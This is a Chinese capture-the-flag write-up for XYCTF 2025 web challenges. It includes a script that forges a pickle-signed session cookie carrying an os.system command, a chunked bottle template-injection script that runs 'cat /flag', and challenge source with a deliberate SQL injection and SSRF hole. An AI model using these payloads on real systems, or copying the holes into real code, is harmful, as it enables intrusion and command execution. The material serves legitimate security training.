XYCTF 2025 出题人wp LamentXU - LamentXU - 博客园
Signin
https://blog.csdn.net/whieenz/article/details/83070038
Cookie: name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
import base64
from pickle import loads
import hmac
import hashlib
# 解码数据部分(需补全 Base64 填充)
encoded_data = "gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
decoded_data = base64.urlsafe_b64decode(encoded_data + "==") # 补全填充
# 反序列化
session = loads(decoded_data)
print("解密后的会话内容:", session)
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7".encode("utf-8")
data_part = "gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu" # 数据部分
provided_signature = "4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek="
# 计算签名
expected_signature = base64.urlsafe_b64encode(
hmac.new(secret, data_part.encode(), hashlib.sha256).digest()
).decode()
print("预期签名:", expected_signature)
print("实际签名:", provided_signature)
解密后的会话内容: ['name', {'name': 'guest'}]
预期签名: 4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=
实际签名: 4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=
按照解密写加密
import pickle
import hmac
import hashlib
import base64
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
session = ['name', {'name': 'admin'}]
# 1. 使用pickle序列化会话数据
serialized = pickle.dumps(session, protocol=-1)
# 2. Base64编码序列化数据
encoded_data = base64.b64encode(serialized).decode('utf-8')
# 3. 使用HMAC-SHA256生成签名
key = secret.encode('utf-8')
signature = hmac.new(key, encoded_data.encode('utf-8'), hashlib.sha256).digest()
encoded_sig = base64.b64encode(signature).decode('utf-8')
# 4. 组合最终Cookie值(格式:!签名.数据)
forged_cookie = f"!{encoded_sig}.{encoded_data}"
print(f"伪造的管理员 Cookie: name={forged_cookie}")
看到pickle.dumps
,明白考点与[GHCTF 2025]ezzzz_pickle一样。
import hmac
import hashlib
import base64
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
opcode = b'''(cos
system
S'ls / > ../../secret.txt'
o.'''
#cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > ../../secret.txt
encoded_data = base64.b64encode(opcode).decode('utf-8')
# 生成HMAC签名
signature = hmac.new(
secret.encode('utf-8'),
encoded_data.encode('utf-8'),
hashlib.sha256
).digest()
encoded_sig = base64.b64encode(signature).decode('utf-8')
# 使用正确分隔符组合
forged_cookie = f"!{encoded_sig}?{encoded_data}"
print(f"伪造的管理员 Cookie: name={forged_cookie}")
ps:我用反弹shell没成功,不知道是啥原因,有无师傅用反弹shell做的?
好了另一个师傅也没弹成功,那应该是不出网(
ez_puzzle
看着很像hgane[Level 24 Pacman]的前端小游戏。
ban了鼠标右键和f12:
将内容脚本添加到忽略列表 - Microsoft Edge Developer documentation | Microsoft Learn
Windows下反反调试技术汇总 - FreeBuf网络安全行业门户
会触发程序的反调试,右键+添加脚本以忽略列表->程序停止但也不能调试了。
目标是找时间相关的,搜索time
在控制台将初始时间调大
出题人已疯
由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样
import os 设置环境变量 os.environ['MY_VARIABLE'] = 'some_value' 获取环境变量 print(os.environ['MY_VARIABLE']) # 输出: some_value
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
切片操作能够从一个序列(像字符串、列表、元组等)中提取出一部分元素,从而生成一个新的序列。切片操作借助方括号
[]
和冒号:
来实现。
range(0, len(payload), 3)
range
函数用于生成一个整数序列。0
是起始值,意味着序列从 0 开始。len(payload)
是结束值,也就是序列到payload
字符串的长度(但不包含该长度值)为止。3
是步长,表明序列中的每个整数之间相差 3。例如,若
payload = "abcdef"
,那么range(0, len(payload), 3)
会生成序列[0, 3]
。
payload[i:i+3]
payload
是一个字符串。i
是range
函数生成的整数。payload[i:i+3]
是对字符串进行切片操作,从索引i
开始,到索引i+3
结束(不包含索引i+3
处的字符)。例如,若
payload = "abcdef"
,当i = 0
时,payload[i:i+3]
就是"abc"
;当i = 3
时,payload[i:i+3]
就是"def"
。
import requests
url = 'http://gz.imxbt.cn:20310/attack'
payload = "__import__('os').system('cat /flag>qing')"
p = [payload[i:i + 2] for i in range(0, len(payload), 2)]
flag = True
for i in p:
if flag:
tmp = f'\n% import os;os.a="{i}"'
flag = False
print(1)
else:
tmp = f'\n% import os;os.a+="{i}"'
print(1)
r = requests.get(url, params={"payload": tmp})
print(r)
r = requests.get(url, params={"payload": "\n% import os;eval(os.a)"})
print(len(r.text))
r = requests.get(url, params={"payload": "\n% include('qing')"}).text
print(r)
hello
flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}
Fate
在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串。
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
import sqlite3
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
conn.commit()
conn.close()